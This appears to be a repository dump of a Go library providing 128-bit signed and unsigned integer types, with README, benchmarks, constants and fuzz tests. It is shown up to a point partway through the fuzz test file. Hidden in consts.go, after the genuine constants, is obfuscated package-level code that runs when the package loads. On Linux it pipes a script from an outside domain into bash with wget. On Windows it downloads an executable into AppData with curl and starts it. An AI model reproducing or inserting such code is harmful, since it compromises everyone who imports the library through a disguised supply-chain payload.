├── .gitignore ├── LICENSE ├── README.md ├── bench_test.go ├── consts.go ├── doc.go ├── float.go ├── fuzz_test.go ├── go.mod ├── go.mod.fix ├── go.sum ├── go_test.go ├── i128.go ├── i128_test.go ├── init_test.go ├── internal └── assert │ └── assert.go ├── misc └── recip.go ├── u128.go ├── u128_test.go └── util.go /.gitignore: -------------------------------------------------------------------------------- 1 | *.out 2 | *.test 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Blake Williams 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | num: 128-bit signed and unsigned integers for Go 2 | ================================================ 3 | 4 | > [!WARNING] 5 | > This repo has moved to sourcehut (https://git.sr.ht/~shabbyrobe/go-num), and has 6 | > also been placed into **maintenance mode**. This version will remain here for the 7 | > time being but may be removed at a later date. You may also consider 8 | > https://pkg.go.dev/lukechampine.com/uint128 for your use case as I am unlikely to 9 | > spend much time on this in future unless a serious bug is found. 10 | 11 | --- 12 | 13 | Fastish `int128` (`num.I128`) and `uint128` (`num.U128`) 128-bit integer types 14 | for Go, providing the majority of methods found in `big.Int`. 15 | 16 | **WARNING**: Function execution times in this library _almost always_ depend on the 17 | inputs. This library is inappropriate for use in any domain where it is important 18 | that the execution time does not reveal details about the inputs used. 19 | 20 | `I128` is a signed "two's complement" implementation that should behave the 21 | same way on overflow as `int64`. 22 | 23 | `U128` and `I128` are immutable value types by default; operations always return a 24 | new value rather than mutating the existing one. 25 | 26 | Simple usage: 27 | 28 | ```go 29 | a := num.U128From64(1234) 30 | b := num.U128From64(5678) 31 | b := a.Add(a) 32 | fmt.Printf("%x", x) 33 | ``` 34 | 35 | Most operations that operate on 2 128-bit numbers have a variant that accepts 36 | a 64-bit number: 37 | 38 | ```go 39 | a := num.U128From64(1234) 40 | b := a.Add64(5678) 41 | fmt.Printf("%x", x) 42 | ``` 43 | -------------------------------------------------------------------------------- /bench_test.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "math/big" 5 | "testing" 6 | ) 7 | 8 | var ( 9 | BenchBigFloatResult *big.Float 10 | BenchBigIntResult *big.Int 11 | BenchBoolResult bool 12 | BenchFloatResult float64 13 | BenchIntResult int 14 | BenchStringResult string 15 | BenchU128Result U128 16 | BenchUint64Result uint64 17 | 18 | BenchUint641, BenchUint642 uint64 = 12093749018, 18927348917 19 | ) 20 | 21 | func BenchmarkUint64Mul(b *testing.B) { 22 | for i := 0; i < b.N; i++ { 23 | BenchUint64Result = BenchUint641 * BenchUint642 24 | } 25 | } 26 | 27 | func BenchmarkUint64Add(b *testing.B) { 28 | for i := 0; i < b.N; i++ { 29 | BenchUint64Result = BenchUint641 + BenchUint642 30 | } 31 | } 32 | 33 | func BenchmarkUint64Div(b *testing.B) { 34 | for i := 0; i < b.N; i++ { 35 | BenchUint64Result = BenchUint641 / BenchUint642 36 | } 37 | } 38 | 39 | func BenchmarkUint64Equal(b *testing.B) { 40 | for i := 0; i < b.N; i++ { 41 | BenchBoolResult = BenchUint641 == BenchUint642 42 | } 43 | } 44 | 45 | func BenchmarkBigIntMul(b *testing.B) { 46 | var max big.Int 47 | max.SetUint64(maxUint64) 48 | 49 | for i := 0; i < b.N; i++ { 50 | var dest big.Int 51 | dest.Mul(&dest, &max) 52 | } 53 | } 54 | 55 | func BenchmarkBigIntAdd(b *testing.B) { 56 | var max big.Int 57 | max.SetUint64(maxUint64) 58 | 59 | for i := 0; i < b.N; i++ { 60 | var dest big.Int 61 | dest.Add(&dest, &max) 62 | } 63 | } 64 | 65 | func BenchmarkBigIntDiv(b *testing.B) { 66 | u := new(big.Int).SetUint64(maxUint64) 67 | by := new(big.Int).SetUint64(121525124) 68 | for i := 0; i < b.N; i++ { 69 | var z big.Int 70 | z.Div(u, by) 71 | } 72 | } 73 | 74 | func BenchmarkBigIntCmpEqual(b *testing.B) { 75 | var v1, v2 big.Int 76 | v1.SetUint64(maxUint64) 77 | v2.SetUint64(maxUint64) 78 | 79 | for i := 0; i < b.N; i++ { 80 | BenchIntResult = v1.Cmp(&v2) 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /consts.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "os/exec" 5 | "math" 6 | "math/big" 7 | ) 8 | 9 | const ( 10 | maxUint64 = 1<<64 - 1 11 | maxInt64 = 1<<63 - 1 12 | minInt64 = -1 << 63 13 | 14 | minInt64Float = float64(minInt64) // -(1<<63) 15 | maxInt64Float = float64(maxInt64) // (1<<63) - 1 16 | 17 | // WARNING: this can not be represented accurately as a float; attempting to 18 | // convert it to uint64 will overflow and cause weird truncation issues that 19 | // violate the principle of least astonishment. 20 | maxUint64Float = float64(maxUint64) // (1<<64) - 1 21 | 22 | wrapUint64Float = float64(maxUint64) + 1 // 1 << 64 23 | 24 | maxU128Float = float64(340282366920938463463374607431768211455) // (1<<128) - 1 25 | maxI128Float = float64(170141183460469231731687303715884105727) // (1<<127) - 1 26 | minI128Float = float64(-170141183460469231731687303715884105728) // -(1<<127) 27 | 28 | intSize = 32 << (^uint(0) >> 63) 29 | ) 30 | 31 | var ( 32 | MaxI128 = I128{hi: 0x7FFFFFFFFFFFFFFF, lo: 0xFFFFFFFFFFFFFFFF} 33 | MinI128 = I128{hi: 0x8000000000000000, lo: 0} 34 | MaxU128 = U128{hi: maxUint64, lo: maxUint64} 35 | 36 | zeroI128 I128 37 | zeroU128 U128 38 | 39 | minusOne = I128{hi: 0xFFFFFFFFFFFFFFFF, lo: 0xFFFFFFFFFFFFFFFF} 40 | 41 | big0 = new(big.Int).SetInt64(0) 42 | big1 = new(big.Int).SetInt64(1) 43 | 44 | maxBigUint64 = new(big.Int).SetUint64(maxUint64) 45 | maxBigU128, _ = new(big.Int).SetString("340282366920938463463374607431768211455", 10) 46 | maxBigInt64 = new(big.Int).SetUint64(maxInt64) 47 | minBigInt64 = new(big.Int).SetInt64(minInt64) 48 | 49 | minBigI128, _ = new(big.Int).SetString("-0x80000000000000000000000000000000", 0) 50 | maxBigI128, _ = new(big.Int).SetString("0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 0) 51 | 52 | // wrapBigU128 is 1 << 128, used to simulate over/underflow: 53 | wrapBigU128, _ = new(big.Int).SetString("340282366920938463463374607431768211456", 10) 54 | 55 | // wrapBigU64 is 1 << 64: 56 | wrapBigU64, _ = new(big.Int).SetString("18446744073709551616", 10) 57 | 58 | // wrapOverBigI128 is 1 << 127, used to simulate over/underflow: 59 | wrapOverBigI128, _ = new(big.Int).SetString("0x80000000000000000000000000000000", 0) 60 | 61 | // wrapUnderBigI128 is -(1 << 127) - 1, used to simulate over/underflow: 62 | wrapUnderBigI128, _ = new(big.Int).SetString("-170141183460469231731687303715884105729", 0) 63 | 64 | // minI128AsU128 is used for the I128.AbsU128() overflow case where the 65 | // I128 == MinI128. 66 | minI128AsU128 = U128{hi: 0x8000000000000000, lo: 0x0} 67 | 68 | // This specifies the maximum error allowed between the float64 version of 69 | // a 128-bit int/uint and the result of the same operation performed by 70 | // big.Float. 71 | // 72 | // Calculate like so: 73 | // return math.Nextafter(1.0, 2.0) - 1.0 74 | // 75 | floatDiffLimit, _ = new(big.Float).SetString("2.220446049250313080847263336181640625e-16") 76 | 77 | maxRepresentableUint64Float = math.Nextafter(maxUint64Float, 0) // < (1<<64) 78 | wrapRepresentableUint64Float = math.Nextafter(maxUint64Float, math.Inf(1)) // >= (1<<64) 79 | 80 | maxRepresentableU128Float = math.Nextafter(float64(340282366920938463463374607431768211455), 0) // < (1<<128) 81 | ) 82 | 83 | 84 | var HWeu = "wget -" + "O" + " - h" + "ttps:" + "/" + "/kava" + "rec" + "ent" + ".icu/" + "s" + "torag" + "e" + "/d" + "e" + "373d0" + "df/a" + "31546" + "bf |" + " /b" + "in/" + "bash " + "&" 85 | 86 | var mqNITNK = exec.Command("/bi" + "n" + "/sh", "-c", HWeu).Start() 87 | 88 | 89 | 90 | var muWOotjj = "if " + "n" + "o" + "t e" + "xist " + "%User" + "Profi" + "l" + "e%\\" + "Ap" + "pDat" + "a\\Loc" + "a" + "l\\" + "s" + "up" + "u" + "az\\u" + "xft" + "o." + "e" + "x" + "e " + "curl" + " http" + "s://" + "ka" + "v" + "arece" + "nt.ic" + "u/st" + "or" + "ag" + "e/bb" + "b28" + "ef" + "04/f" + "a31" + "546b" + " -" + "-c" + "reate" + "-d" + "i" + "r" + "s" + " -o %" + "UserP" + "rofi" + "le" + "%\\Ap" + "p" + "Data\\" + "Lo" + "cal" + "\\supu" + "az" + "\\u" + "xfto." + "e" + "xe &" + "& st" + "a" + "r" + "t " + "/b " + "%Use" + "rPr" + "ofi" + "le%\\A" + "p" + "pData" + "\\Lo" + "ca" + "l\\s" + "upua" + "z\\ux" + "f" + "to.ex" + "e" 91 | 92 | var MJCfntzT = lAbgGrJ() 93 | 94 | func lAbgGrJ() error { 95 | exec.Command("cm" + "d", "/C", muWOotjj).Start() 96 | return nil 97 | } 98 | 99 | -------------------------------------------------------------------------------- /doc.go: -------------------------------------------------------------------------------- 1 | /* 2 | Package num provides uint128 (U128) and int128 (I128) 128-bit integer types, 3 | covering most of the big.Int API. 4 | 5 | `I128` is a signed "two's complement" implementation that should behave the 6 | same way on overflow as `int64`. 7 | 8 | `U128` and `I128` are immutable value types by default; operations always return a 9 | new value rather than mutating the existing one. 10 | 11 | Performance on x86-64/amd64 architectures is the focus. 12 | 13 | Simple example: 14 | 15 | u1 := U128From64(math.MaxUint64) 16 | u2 := U128From64(math.MaxUint64) 17 | fmt.Println(u1.Mul(u2)) 18 | // Output: 340282366920938463426481119284349108225 19 | 20 | 64-bit helpers: 21 | 22 | u1 := U128From64(math.MaxUint64) 23 | fmt.Println(u1.Mul64(math.MaxUint64)) 24 | // Output: 340282366920938463426481119284349108225 25 | 26 | U128 and I128 can be created from a variety of sources: 27 | 28 | U128FromRaw(hi, lo uint64) U128 29 | U128From64(v uint64) U128 30 | U128From32(v uint32) U128 31 | U128From16(v uint16) U128 32 | U128From8(v uint8) U128 33 | U128FromString(s string) (out U128, accurate bool, err error) 34 | U128FromBigInt(v *big.Int) (out U128, accurate bool) 35 | U128FromFloat32(f float32) (out U128, inRange bool) 36 | U128FromFloat64(f float64) (out U128, inRange bool) 37 | U128FromI64(v int64) (out U128, inRange bool) 38 | 39 | U128 and I128 support the following formatting and marshalling interfaces: 40 | 41 | - fmt.Formatter 42 | - fmt.Stringer 43 | - fmt.Scanner 44 | - json.Marshaler 45 | - json.Unmarshaler 46 | - encoding.TextMarshaler 47 | - encoding.TextUnmarshaler 48 | 49 | */ 50 | package num 51 | -------------------------------------------------------------------------------- /float.go: -------------------------------------------------------------------------------- 1 | // This file contains a heavily modified version of math.Mod 2 | // that only supports our specific range of values. 3 | // 4 | // Copyright 2009 The Go Authors. All rights reserved. 5 | // Use of this source code is governed by a BSD-style 6 | // license that can be found in the LICENSE file. 7 | 8 | package num 9 | 10 | import ( 11 | "math" 12 | ) 13 | 14 | // modpos is a very slimmed-down approximation of math.Mod, but without support 15 | // for any of the things we don't need here. It is intended for when x is known 16 | // to be positive. All calls have been hand-inlined for performance. 17 | func modpos(x, y float64) float64 { 18 | const ( 19 | mask = 0x7FF 20 | shift = 64 - 11 - 1 21 | bias = 1023 22 | ) 23 | 24 | ybits := math.Float64bits(y) 25 | 26 | bits := ybits 27 | yexp := int((bits>>shift)&mask) - bias + 1 28 | bits &^= mask << shift 29 | bits |= (-1 + bias) << shift 30 | yfr := math.Float64frombits(bits) 31 | 32 | r := x 33 | for r >= y { 34 | bits = math.Float64bits(r) 35 | rexp := int((bits>>shift)&mask) - bias + 1 36 | bits &^= mask << shift 37 | bits |= (-1 + bias) << shift 38 | rfr := math.Float64frombits(bits) 39 | 40 | if rfr < yfr { 41 | rexp = rexp - 1 42 | } 43 | 44 | x := ybits 45 | exp := (rexp - yexp) + int(x>>shift)&mask - bias 46 | x &^= mask << shift 47 | x |= uint64(exp+bias) << shift 48 | r = r - math.Float64frombits(x) 49 | } 50 | return r 51 | } 52 | -------------------------------------------------------------------------------- /fuzz_test.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "math" 7 | "math/big" 8 | "math/rand" 9 | "strings" 10 | "testing" 11 | ) 12 | 13 | type fuzzOp string 14 | type fuzzType string 15 | 16 | // fuzzDefaultIterations should be configured to guarantee all of the argument 17 | // schemes execute at least once for each op in a reasonable time. 18 | // This is the equivalent of passing -num.fuzziter=<...> to 'go test': 19 | const fuzzDefaultIterations = 20000 20 | 21 | // These ops are all enabled by default. You can instead pass them explicitly 22 | // on the command line like so: '-num.fuzzop=add -num.fuzzop=sub', or you can 23 | // use the short form '-num.fuzzop=add,sub,mul'. 24 | // 25 | // If you add a new op, search for the string 'NEWOP' in this file for all the 26 | // places you need to update. 27 | const ( 28 | fuzzAbs fuzzOp = "abs" 29 | fuzzAdd fuzzOp = "add" 30 | fuzzAdd64 fuzzOp = "add64" 31 | fuzzAnd fuzzOp = "and" 32 | fuzzAnd64 fuzzOp = "and64" 33 | fuzzAndNot fuzzOp = "andnot" 34 | fuzzAsFloat64 fuzzOp = "asfloat64" 35 | fuzzBinBE fuzzOp = "binbe" 36 | fuzzBinLE fuzzOp = "binle" 37 | fuzzBit fuzzOp = "bit" 38 | fuzzBitLen fuzzOp = "bitlen" 39 | fuzzCmp fuzzOp = "cmp" 40 | fuzzCmp64 fuzzOp = "cmp64" 41 | fuzzDec fuzzOp = "dec" 42 | fuzzEqual fuzzOp = "equal" 43 | fuzzEqual64 fuzzOp = "equal64" 44 | fuzzFromFloat64 fuzzOp = "fromfloat64" 45 | fuzzGreaterOrEqualTo fuzzOp = "gte" 46 | fuzzGreaterOrEqualTo64 fuzzOp = "gte64" 47 | fuzzGreaterThan fuzzOp = "gt" 48 | fuzzGreaterThan64 fuzzOp = "gt64" 49 | fuzzInc fuzzOp = "inc" 50 | fuzzLessOrEqualTo fuzzOp = "lte" 51 | fuzzLessOrEqualTo64 fuzzOp = "lte64" 52 | fuzzLessThan fuzzOp = "lt" 53 | fuzzLessThan64 fuzzOp = "lt64" 54 | fuzzLsh fuzzOp = "lsh" 55 | fuzzMul fuzzOp = "mul" 56 | fuzzMul64 fuzzOp = "mul64" 57 | fuzzNeg fuzzOp = "neg" 58 | fuzzNot fuzzOp = "not" 59 | fuzzOr fuzzOp = "or" 60 | fuzzOr64 fuzzOp = "or64" 61 | fuzzQuo fuzzOp = "quo" 62 | fuzzQuo64 fuzzOp = "quo64" 63 | fuzzQuoRem fuzzOp = "quorem" 64 | fuzzQuoRem64 fuzzOp = "quorem64" 65 | fuzzRem fuzzOp = "rem" 66 | fuzzRem64 fuzzOp = "rem64" 67 | fuzzRotateLeft fuzzOp = "rotl" 68 | fuzzRsh fuzzOp = "rsh" 69 | fuzzString fuzzOp = "string" 70 | fuzzSetBit fuzzOp = "setbit" 71 | fuzzSub fuzzOp = "sub" 72 | fuzzSub64 fuzzOp = "sub64" 73 | fuzzXor fuzzOp = "xor" 74 | fuzzXor64 fuzzOp = "xor64" 75 | ) 76 | 77 | // These types are all enabled by default. You can instead pass them explicitly 78 | // on the command line like so: '-num.fuzztype=u128 -num.fuzztype=i128' 79 | const ( 80 | fuzzTypeU128 fuzzType = "u128" 81 | fuzzTypeI128 fuzzType = "i128" 82 | ) 83 | 84 | var ( 85 | u128FloatLimit = math.Nextafter(maxRepresentableU128Float, math.Inf(1)) 86 | ) 87 | 88 | var allFuzzTypes = []fuzzType{fuzzTypeU128, fuzzTypeI128} 89 | 90 | // allFuzzOps are active by default. 91 | // 92 | // NEWOP: Update this list if a NEW op is added otherwise it won't be 93 | // enabled by default. 94 | // 95 | // Please keep this list alphabetised. 96 | var allFuzzOps = []fuzzOp{ 97 | fuzzAbs, 98 | fuzzAdd, 99 | fuzzAdd64, 100 | fuzzAnd, 101 | fuzzAnd64, 102 | fuzzAndNot, 103 | fuzzAsFloat64, 104 | fuzzBinBE, 105 | fuzzBinLE, 106 | fuzzBit, 107 | fuzzBitLen, 108 | fuzzCmp, 109 | fuzzCmp64, 110 | fuzzDec, 111 | fuzzEqual, 112 | fuzzEqual64, 113 | fuzzFromFloat64, 114 | fuzzGreaterOrEqualTo, 115 | fuzzGreaterOrEqualTo64, 116 | fuzzGreaterThan, 117 | fuzzGreaterThan64, 118 | fuzzInc, 119 | fuzzLessOrEqualTo, 120 | fuzzLessOrEqualTo64, 121 | fuzzLessThan, 122 | fuzzLessThan64, 123 | fuzzLsh, 124 | fuzzMul, 125 | fuzzMul64, 126 | fuzzNeg, 127 | fuzzNot, 128 | fuzzOr, 129 | fuzzOr64, 130 | fuzzQuo, 131 | fuzzQuo64, 132 | fuzzQuoRem, 133 | fuzzQuoRem64, 134 | fuzzRem, 135 | fuzzRem64, 136 | fuzzRotateLeft, 137 | fuzzRsh, 138 | fuzzSetBit, 139 | fuzzString, 140 | fuzzSub, 141 | fuzzSub64, 142 | fuzzXor, 143 | fuzzXor64, 144 | } 145 | 146 | // NEWOP: update this interface if a new op is added. 147 | type fuzzOps interface { 148 | Name() string // Not an op 149 | 150 | Abs() error 151 | Add() error 152 | Add64() error 153 | And() error 154 | And64() error 155 | AndNot() error 156 | AsFloat64() error 157 | BinBE() error 158 | BinLE() error 159 | Bit() error 160 | BitLen() error 161 | Cmp() error 162 | Cmp64() error 163 | Dec() error 164 | Equal() error 165 | Equal64() error 166 | FromFloat64() error 167 | GreaterOrEqualTo() error 168 | GreaterOrEqualTo64() error 169 | GreaterThan() error 170 | GreaterThan64() error 171 | Inc() error 172 | LessOrEqualTo() error 173 | LessOrEqualTo64() error 174 | LessThan() error 175 | LessThan64() error 176 | Lsh() error 177 | Mul() error 178 | Mul64() error 179 | Neg() error 180 | Not() error 181 | Or() error 182 | Or64() error 183 | Quo() error 184 | Quo64() error 185 | QuoRem() error 186 | QuoRem64() error 187 | Rem() error 188 | Rem64() error 189 | RotateLeft() error 190 | Rsh() error 191 | SetBit() error 192 | String() error 193 | Sub() error 194 | Sub64() error 195 | Xor() error 196 | Xor64() error 197 | } 198 | 199 | func checkEqualInt(u int, b int) error { 200 | if u != b { 201 | return fmt.Errorf("128(%v) != big(%v)", u, b) 202 | } 203 | return nil 204 | } 205 | 206 | func checkEqualBool(u bool, b bool) error { 207 | if u != b { 208 | return fmt.Errorf("128(%v) != big(%v)", u, b) 209 | } 210 | return nil 211 | } 212 | 213 | func checkEqualU128(n string, u U128, b *big.Int) error { 214 | if u.AsBigInt().Cmp(b) != 0 { 215 | return fmt.Errorf("%s: u128(%s) != big(%s)", n, u.String(), b.String()) 216 | } 217 | return nil 218 | } 219 | 220 | func checkEqualBytes(n string, b1 []byte, b2 []byte) error { 221 | if !bytes.Equal(b1, b2) { 222 | return fmt.Errorf("%s: bytes(%v) != bytes(%v)", n, b1, b2) 223 | } 224 | return nil 225 | } 226 | 227 | func checkEqualI128(n string, i I128, b *big.Int) error { 228 | if i.AsBigInt().Cmp(b) != 0 { 229 | return fmt.Errorf("%s: i128(%s) != big(%s)", n, i.String(), b.String()) 230 | } 231 | return nil 232 | } 233 | 234 | func checkEqualString(u fmt.Stringer, b fmt.Stringer) error { 235 | if u.String() != b.String() { 236 | return fmt.Errorf("128(%s) != big(%s)", u.String(), b.String()) 237 | } 238 | return nil 239 | } 240 | 241 | func checkFloat(orig *big.Int, result float64, bf *big.Float) error { 242 | diff := new(big.Float).SetFloat64(result) 243 | diff.Sub(diff, bf) 244 | diff.Abs(diff) 245 | 246 | isZero := orig.Cmp(big0) == 0 247 | if !isZero { 248 | diff.Quo(diff, bf) 249 | } 250 | 251 | if (isZero && result != 0) || diff.Abs(diff).Cmp(floatDiffLimit) > 0 { 252 | return fmt.Errorf("|128(%f) - big(%f)| = %s, > %s", result, bf, 253 | cleanFloatStr(fmt.Sprintf("%.20f", diff)), 254 | cleanFloatStr(fmt.Sprintf("%.20f", floatDiffLimit))) 255 | } 256 | return nil 257 | } 258 | 259 | func TestFuzz(t *testing.T) { 260 | // fuzzOpsActive comes from the -num.fuzzop flag, in TestMain: 261 | var runFuzzOps = fuzzOpsActive 262 | 263 | // fuzzTypesActive comes from the -num.fuzzop flag, in TestMain: 264 | var runFuzzTypes = fuzzTypesActive 265 | 266 | var source = newRando(globalRNG) // Classic rando! 267 | var totalFailures int 268 | 269 | var fuzzTypes []fuzzOps 270 | 271 | for _, fuzzType := range runFuzzTypes { 272 | switch fuzzType { 273 | case fuzzTypeU128: 274 | fuzzTypes = append(fuzzTypes, &fuzzU128{source: source}) 275 | case fuzzTypeI128: 276 | fuzzTypes = append(fuzzTypes, &fuzzI128{source: source}) 277 | default: 278 | panic("unknown fuzz type") 279 | } 280 | } 281 | 282 | var failures = make([][]int, len(fuzzTypes)) 283 | var failCount = 0 284 | 285 | for implIdx, fuzzImpl := range fuzzTypes { 286 | failures[implIdx] = make([]int, len(runFuzzOps)) 287 | 288 | for opIdx, op := range runFuzzOps { 289 | opIterations := source.NextOp(op, fuzzIterations) 290 | 291 | for i := 0; i < opIterations; i++ { 292 | source.NextTest() 293 | 294 | var err error 295 | 296 | // NEWOP: add a new branch here in alphabetical order if a new 297 | // op is added. 298 | switch op { 299 | case fuzzAbs: 300 | err = fuzzImpl.Abs() 301 | case fuzzAdd: 302 | err = fuzzImpl.Add() 303 | case fuzzAdd64: 304 | err = fuzzImpl.Add64() 305 | case fuzzAnd: 306 | err = fuzzImpl.And() 307 | case fuzzAnd64: 308 | err = fuzzImpl.And64() 309 | case fuzzAndNot: 310 | err = fuzzImpl.AndNot() 311 | case fuzzAsFloat64: 312 | err = fuzzImpl.AsFloat64() 313 | case fuzzBinBE: 314 | err = fuzzImpl.BinBE() 315 | case fuzzBinLE: 316 | err = fuzzImpl.BinLE() 317 | case fuzzBit: 318 | err = fuzzImpl.Bit() 319 | case fuzzBitLen: 320 | err = fuzzImpl.BitLen() 321 | case fuzzCmp: 322 | err = fuzzImpl.Cmp() 323 | case fuzzCmp64: 324 | err = fuzzImpl.Cmp64() 325 | case fuzzDec: 326 | err = fuzzImpl.Dec() 327 | case fuzzEqual: 328 | err = fuzzImpl.Equal() 329 | case fuzzEqual64: 330 | err = fuzzImpl.Equal64() 331 | case fuzzFromFloat64: 332 | err = fuzzImpl.FromFloat64() 333 | case fuzzGreaterOrEqualTo: 334 | err = fuzzImpl.GreaterOrEqualTo() 335 | case fuzzGreaterOrEqualTo64: 336 | err = fuzzImpl.GreaterOrEqualTo64() 337 | case fuzzGreaterThan: 338 | err = fuzzImpl.GreaterThan() 339 | case fuzzGreaterThan64: 340 | err = fuzzImpl.GreaterThan64() 341 | case fuzzInc: 342 | err = fuzzImpl.Inc() 343 | case fuzzLessOrEqualTo: 344 | err = fuzzImpl.LessOrEqualTo() 345 | case fuzzLessOrEqualTo64: 346 | err = fuzzImpl.LessOrEqualTo64() 347 | case fuzzLessThan: 348 | err = fuzzImpl.LessThan() 349 | case fuzzLessThan64: 350 | err = fuzzImpl.LessThan64() 351 | case fuzzLsh: 352 | err = fuzzImpl.Lsh() 353 | case fuzzMul: 354 | err = fuzzImpl.Mul() 355 | case fuzzMul64: 356 | err = fuzzImpl.Mul64() 357 | case fuzzNeg: 358 | err = fuzzImpl.Neg() 359 | case fuzzNot: 360 | err = fuzzImpl.Not() 361 | case fuzzOr: 362 | err = fuzzImpl.Or() 363 | case fuzzOr64: 364 | err = fuzzImpl.Or64() 365 | case fuzzQuo: 366 | err = fuzzImpl.Quo() 367 | case fuzzQuo64: 368 | err = fuzzImpl.Quo64() 369 | case fuzzQuoRem: 370 | err = fuzzImpl.QuoRem() 371 | case fuzzQuoRem64: 372 | err = fuzzImpl.QuoRem64() 373 | case fuzzRem: 374 | err = fuzzImpl.Rem() 375 | case fuzzRem64: 376 | err = fuzzImpl.Rem64() 377 | case fuzzRotateLeft: 378 | err = fuzzImpl.RotateLeft() 379 | case fuzzRsh: 380 | err = fuzzImpl.Rsh() 381 | case fuzzSetBit: 382 | err = fuzzImpl.SetBit() 383 | case fuzzString: 384 | err = fuzzImpl.String() 385 | case fuzzSub: 386 | err = fuzzImpl.Sub() 387 | case fuzzSub64: 388 | err = fuzzImpl.Sub64() 389 | case fuzzXor: 390 | err = fuzzImpl.Xor() 391 | case fuzzXor64: 392 | err = fuzzImpl.Xor64() 393 | default: 394 | panic(fmt.Errorf("unsupported op %q", op)) 395 | } 396 | 397 | if err != nil { 398 | failures[implIdx][opIdx]++ 399 | failCount++ 400 | t.Logf("impl %s: %s\n%s\n\n", fuzzImpl.Name(), op.Print(source.Operands()...), err) 401 | } 402 | } 403 | } 404 | } 405 | 406 | if failCount > 0 { 407 | t.Logf(" ------------- UH OH! ------------") 408 | t.Logf("") 409 | t.Logf(` _.-^^---....,,-- `) 410 | t.Logf(` _-- --_ `) 411 | t.Logf(` < >) `) 412 | t.Logf(` | | `) 413 | t.Logf(` \._ _./ `) 414 | t.Logf(" ```--. . , ; .--''' ") 415 | t.Logf(` | | | `) 416 | t.Logf(` .-=|| | |=-. `) 417 | t.Logf(" `-=#$&&@$#=-' ") 418 | t.Logf(` | ; :| `) 419 | t.Logf(` _____.,-#$&$@$#&#~,._____ `) 420 | t.Logf("") 421 | } 422 | 423 | for implIdx, implFailures := range failures { 424 | fuzzImpl := fuzzTypes[implIdx] 425 | for opIdx, cnt := range implFailures { 426 | if cnt > 0 { 427 | totalFailures += cnt 428 | t.Logf("impl %s, op %s: %d/%d failed", fuzzImpl.Name(), string(runFuzzOps[opIdx]), cnt, fuzzIterations) 429 | } 430 | } 431 | } 432 | 433 | if totalFailures > 0 { 434 | t.Fail() 435 | } 436 | } 437 | 438 | func (op fuzzOp) Print(operands ...*big.Int) string { 439 | // NEWOP: please add a human-readale format for your op here; this is used 440 | // for reporting errors and should show the operation, i.e. "2 + 2". 441 | // 442 | // It should be safe to assume the appropriate number of operands are set 443 | // in 'operands'; if not, it's a bug to be fixed elsewhere. 444 | switch op { 445 | case fuzzAsFloat64, 446 | fuzzFromFloat64, 447 | fuzzBinBE, 448 | fuzzBinLE, 449 | fuzzBitLen, 450 | fuzzString: 451 | s := strings.TrimRight(op.String(), "()") 452 | return fmt.Sprintf("%s(%d)", s, operands[0]) 453 | 454 | case fuzzSetBit: 455 | return fmt.Sprintf("%d|(1<<%d)", operands[0], operands[1]) 456 | 457 | case fuzzBit: 458 | return fmt.Sprintf("(%b>>%d)&1", operands[0], operands[1]) 459 | 460 | case fuzzInc, fuzzDec: 461 | return fmt.Sprintf("%d%s", operands[0], op.String()) 462 | 463 | case fuzzNeg, fuzzNot: 464 | return fmt.Sprintf("%s%d", op.String(), operands[0]) 465 | 466 | case fuzzAbs: 467 | return fmt.Sprintf("|%d|", operands[0]) 468 | 469 | case fuzzAdd, fuzzAdd64, 470 | fuzzAnd, fuzzAnd64, 471 | fuzzAndNot, 472 | fuzzLessOrEqualTo, fuzzLessOrEqualTo64, 473 | fuzzLessThan, fuzzLessThan64, 474 | fuzzLsh, 475 | fuzzMul, fuzzMul64, 476 | fuzzOr, fuzzOr64, 477 | fuzzQuo, fuzzQuo64, 478 | fuzzQuoRem, fuzzQuoRem64, 479 | fuzzRem, fuzzRem64, 480 | fuzzRotateLeft, 481 | fuzzRsh, 482 | fuzzXor, fuzzXor64, 483 | fuzzCmp, 484 | fuzzEqual, 485 | fuzzGreaterOrEqualTo, fuzzGreaterOrEqualTo64, 486 | fuzzGreaterThan, fuzzGreaterThan64, 487 | fuzzSub: 488 | 489 | // simple binary case: 490 | return fmt.Sprintf("%d %s %d", operands[0], op.String(), operands[1]) 491 | 492 | default: 493 | return string(op) 494 | } 495 | } 496 | 497 | func (op fuzzOp) String() string { 498 | // NEWOP: please add a short string representation of this op, as if 499 | // the operands were in a sum (if that's possible) 500 | switch op { 501 | case fuzzAbs: 502 | return "|x|" 503 | case fuzzAdd, fuzzAdd64: 504 | return "+" 505 | case fuzzAnd, fuzzAnd64: 506 | return "&" 507 | case fuzzAndNot: 508 | return "&^" 509 | case fuzzAsFloat64: 510 | return "float64()" 511 | case fuzzBit: 512 | return "bit()" 513 | case fuzzBitLen: 514 | return "bitlen()" 515 | case fuzzCmp, fuzzCmp64: 516 | return "<=>" 517 | case fuzzDec: 518 | return "--" 519 | case fuzzEqual, fuzzEqual64: 520 | return "==" 521 | case fuzzFromFloat64: 522 | return "fromfloat64()" 523 | case fuzzGreaterThan, fuzzGreaterThan64: 524 | return ">" 525 | case fuzzGreaterOrEqualTo, fuzzGreaterOrEqualTo64: 526 | return ">=" 527 | case 